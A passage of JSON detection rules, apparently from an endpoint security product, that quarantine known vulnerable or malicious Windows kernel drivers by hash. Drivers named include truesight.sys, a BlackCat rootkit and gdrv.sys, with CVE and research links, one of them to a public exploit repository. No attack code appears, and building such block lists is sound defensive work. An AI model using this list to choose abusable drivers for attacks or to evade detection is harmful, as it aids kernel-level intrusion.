+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810812Z",
+  "creation_date": "2026-03-23T11:45:31.810814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ceaa5af4b5d113dd319a7bc2d59c46853f39bc0ee0fe0b20e6a37c3afdfcd4a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7a133c1-5746-560e-b10f-2b16f5af3787",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816755Z",
+  "creation_date": "2026-03-23T11:45:31.816758Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c346263e92ab248bcd19a18014ff5dbedeb19b8299e0bcec0fa74946dbee6c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7a4bfeb-d73b-567b-939c-5c0db09fa268",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827858Z",
+  "creation_date": "2026-03-23T11:45:31.827860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2a5bc4aa25afc60dc545a9fa92bee958942741241503f943f2bf622e35db285",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7b6d48c-3e12-55cb-b505-2cac0601ac73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829132Z",
+  "creation_date": "2026-03-23T11:45:30.829134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7884466b94141efa307b792801b9481a90d3034b568184836fd81cd5ffa341c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7bd4c7d-d6dc-5075-a97f-eb788ae400e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140474Z",
+  "creation_date": "2026-03-23T11:45:31.140476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e901746bce330cc13800168090d211718636e36d6ce8ab77519fb5d21bee06d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7cc47ee-a857-5fd0-8413-bceba21e3d99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812205Z",
+  "creation_date": "2026-03-23T11:45:31.812207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cdaefad0fedae063ce0cd212eaa2e2c7943156b997e36d1330e9901fb49176f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7dc113b-0bd1-5702-a64a-d0a5704eafcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985448Z",
+  "creation_date": "2026-03-23T11:45:29.985450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52d5c35325ce701516f8b04380c9fbdb78ec6bcc13b444f758fdb03d545b0677",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka dkrTK.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7e3c98d-ef4c-50d7-8548-c9f8269afc62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825367Z",
+  "creation_date": "2026-03-23T11:45:30.825371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f22d6bfdd23fba86b06cd1081995b1c2766d819713a42a2bb15e14677e9f1314",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7eca501-fe33-5a00-bede-90b0529723a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621444Z",
+  "creation_date": "2026-03-23T11:45:29.621446Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621451Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6fd51e1f57a03006953e84fd56cc2821cc19e7c77c0474e1110aabaacaf03df",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d804a6f7-c3c1-5ca1-b745-adb155157b8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618711Z",
+  "creation_date": "2026-03-23T11:45:29.618713Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4288c055c6d68b4a45df501877443e544b31c193f8559c8c7eac927ae738e8a",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8134188-b101-53d9-a590-bde273178114",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156214Z",
+  "creation_date": "2026-03-23T11:45:31.156216Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e4f46529a54b66e135162a6efe28db3148158427a6ce9e39cb9f769011073bd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d820a63d-6d65-51c9-9605-98cd2dc2f661",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145809Z",
+  "creation_date": "2026-03-23T11:45:32.145811Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82d928c586159342837cb457f45619f49db38bb91631a82e4f1b373fb994cd73",
+  "comment": "Malicious Kernel Driver (aka driver_82d928c5.sys) [https://www.loldrivers.io/drivers/af8ef3c0-8686-4112-992b-86587a4a9060/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8265fae-9e46-5fda-adc5-24a8902cfba9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982307Z",
+  "creation_date": "2026-03-23T11:45:29.982309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "710639fd1eb76520e8733840ad78a81e09ce03930e4d3c47998e3162ae95f90e",
+  "comment": "Vulnerable Kernel Driver (aka SSPORT.sys) [https://www.loldrivers.io/drivers/c854b612-0b9f-4fc3-a7b8-a93bed7a291e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d82de877-2da1-5cd5-80d9-b7179c3d58a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816137Z",
+  "creation_date": "2026-03-23T11:45:30.816139Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42446592b42e34bf569a631265bcaf2a2192d424531a343a7680f52199b88462",
+  "comment": "Vulnerable Kernel Driver (aka sysconp.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8397a5d-15cd-525a-8c02-7a9dabc96cae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478688Z",
+  "creation_date": "2026-03-23T11:45:31.478691Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.478700Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e409afcc70f34df244e72837965371014212d6d705bbd650ee582f47b4189382",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d83c2b3d-1676-5e8b-8814-083672f23a09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146349Z",
+  "creation_date": "2026-03-23T11:45:31.146351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f3c943f4f9924224f8b61f37d79c3a651c1dfeb1527a65e5798a9ae980293b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8408a07-9abf-59b0-bd5b-e8c5c24aa325",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156256Z",
+  "creation_date": "2026-03-23T11:45:31.156259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0036359ae6b581abc80fcbecd4169210907cbee598819ae3ad08f7f09af19b32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d84a612e-e27c-5c3a-a86b-711a780d8113",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610458Z",
+  "creation_date": "2026-03-23T11:45:29.610460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d84be08c-447a-57cc-a781-570026175ad0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619784Z",
+  "creation_date": "2026-03-23T11:45:29.619786Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5147b0f2ca9d0bde1f9fceb382c05f7fa9c333709d7bf081d6c00a4132d914af",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8611dc8-4ea4-549e-90ae-aa66eaf76def",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609465Z",
+  "creation_date": "2026-03-23T11:45:29.609467Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12ae98c0f1d7209cffe3bc8be5b76aa1f4faba40af99a6dd299462cdd3820c94",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d895b4ba-43ce-5f56-8790-240e8c08db5e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141838Z",
+  "creation_date": "2026-03-23T11:45:31.141840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141845Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b06f8434efce1f2d72315e10ef48bc8a51bfdb4c69a016031a308369d5dd5c70",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8ae4c08-9bc3-55a2-b3aa-601508a855e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975096Z",
+  "creation_date": "2026-03-23T11:45:29.975098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d8b128d4-8cbb-52c7-8a01-fd61c7a7033a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
